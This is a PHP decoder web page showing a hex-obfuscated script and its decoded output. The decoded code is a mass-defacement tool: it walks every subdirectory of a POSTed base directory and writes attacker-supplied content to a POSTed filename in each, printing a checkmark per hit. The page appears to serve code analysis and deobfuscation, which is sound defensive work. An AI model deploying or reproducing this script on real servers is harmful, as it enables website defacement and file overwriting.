Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

\x69\x66\x20\x28\x69\x73\x73\x65\x74\x20\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x62\x61\x73\x..

Decoded Output download

<?  if (isset ($_POST['base_dir']))\xa{\xa        if (!file_exists ($_POST['base_dir']))\xa                die ($_POST['base_dir']." Not Found !<br>");\xa \xa        if (!is_dir ($_POST['base_dir']))\xa                die ($_POST['base_dir']." Is Not A Directory !<br>");\xa \xa        @chdir ($_POST['base_dir']) or die ("Cannot Open Directory");\xa \xa        $files = @scandir ($_POST['base_dir']) or die ("Fuck u -_- <br>");\xa \xa        foreach ($files as $file):\xa                if ($file != "." && $file != ".." && @filetype ($file) == "dir")\xa                {\xa                        $index = getcwd ()."/".$file."/".$_POST['andela'];\xa                        if (file_put_contents ($index, $_POST['index']))\xa                                echo "<hr>>>$index&nbsp&nbsp&nbsp&nbsp</font><font color='lime'>(&#10003;)</font>";\xa                }\xa        endforeach;\xa} ?>

Did this file decode correctly?

Original Code

\x69\x66\x20\x28\x69\x73\x73\x65\x74\x20\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x62\x61\x73\x65\x5f\x64\x69\x72\x27\x5d\x29\x29\xa\x7b\xa\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x21\x66\x69\x6c\x65\x5f\x65\x78\x69\x73\x74\x73\x20\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x62\x61\x73\x65\x5f\x64\x69\x72\x27\x5d\x29\x29\xa\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x64\x69\x65\x20\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x62\x61\x73\x65\x5f\x64\x69\x72\x27\x5d\x2e\x22\x20\x4e\x6f\x74\x20\x46\x6f\x75\x6e\x64\x20\x21\x3c\x62\x72\x3e\x22\x29\x3b\xa\x20\xa\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x21\x69\x73\x5f\x64\x69\x72\x20\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x62\x61\x73\x65\x5f\x64\x69\x72\x27\x5d\x29\x29\xa\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x64\x69\x65\x20\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x62\x61\x73\x65\x5f\x64\x69\x72\x27\x5d\x2e\x22\x20\x49\x73\x20\x4e\x6f\x74\x20\x41\x20\x44\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x21\x3c\x62\x72\x3e\x22\x29\x3b\xa\x20\xa\x20\x20\x20\x20\x20\x20\x20\x20\x40\x63\x68\x64\x69\x72\x20\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x62\x61\x73\x65\x5f\x64\x69\x72\x27\x5d\x29\x20\x6f\x72\x20\x64\x69\x65\x20\x28\x22\x43\x61\x6e\x6e\x6f\x74\x20\x4f\x70\x65\x6e\x20\x44\x69\x72\x65\x63\x74\x6f\x72\x79\x22\x29\x3b\xa\x20\xa\x20\x20\x20\x20\x20\x20\x20\x20\x24\x66\x69\x6c\x65\x73\x20\x3d\x20\x40\x73\x63\x61\x6e\x64\x69\x72\x20\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x62\x61\x73\x65\x5f\x64\x69\x72\x27\x5d\x29\x20\x6f\x72\x20\x64\x69\x65\x20\x28\x22\x46\x75\x63\x6b\x20\x75\x20\x2d\x5f\x2d\x20\x3c\x62\x72\x3e\x22\x29\x3b\xa\x20\xa\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x65\x61\x63\x68\x20\x28\x24\x66\x69\x6c\x65\x73\x20\x61\x73\x20\x24\x66\x69\x6c\x65\x29\x3a\xa\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x24\x66\x69\x6c\x65\x20\x21\x3d\x20\x22\x2e\x22\x20\x26\x26\x20\x24\x66\x69\x6c\x65\x20\x21\x3d\x20\x22\x2e\x2e\x22\x20\x26\x26\x20\x40\x66\x69\x6c\x65\x74\x79\x70\x65\x20\x28\x24\x66\x69\x6c\x65\x29\x20\x3d\x3d\x20\x22\x64\x69\x72\x22\x29\xa\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7b\xa\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x24\x69\x6e\x64\x65\x78\x20\x3d\x20\x67\x65\x74\x63\x77\x64\x20\x28\x29\x2e\x22\x2f\x22\x2e\x24\x66\x69\x6c\x65\x2e\x22\x2f\x22\x2e\x24\x5f\x50\x4f\x53\x54\x5b\x27\x61\x6e\x64\x65\x6c\x61\x27\x5d\x3b\xa\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73\x20\x28\x24\x69\x6e\x64\x65\x78\x2c\x20\x24\x5f\x50\x4f\x53\x54\x5b\x27\x69\x6e\x64\x65\x78\x27\x5d\x29\x29\xa\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6f\x20\x22\x3c\x68\x72\x3e\x3e\x3e\x24\x69\x6e\x64\x65\x78\x26\x6e\x62\x73\x70\x26\x6e\x62\x73\x70\x26\x6e\x62\x73\x70\x26\x6e\x62\x73\x70\x3c\x2f\x66\x6f\x6e\x74\x3e\x3c\x66\x6f\x6e\x74\x20\x63\x6f\x6c\x6f\x72\x3d\x27\x6c\x69\x6d\x65\x27\x3e\x28\x26\x23\x31\x30\x30\x30\x33\x3b\x29\x3c\x2f\x66\x6f\x6e\x74\x3e\x22\x3b\xa\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7d\xa\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6e\x64\x66\x6f\x72\x65\x61\x63\x68\x3b\xa\x7d

Function Calls

None

Variables

None

Stats

MD5 628d0a079e52a2bc62c5dd20ba82323f
Eval Count 0
Decode Time 81 ms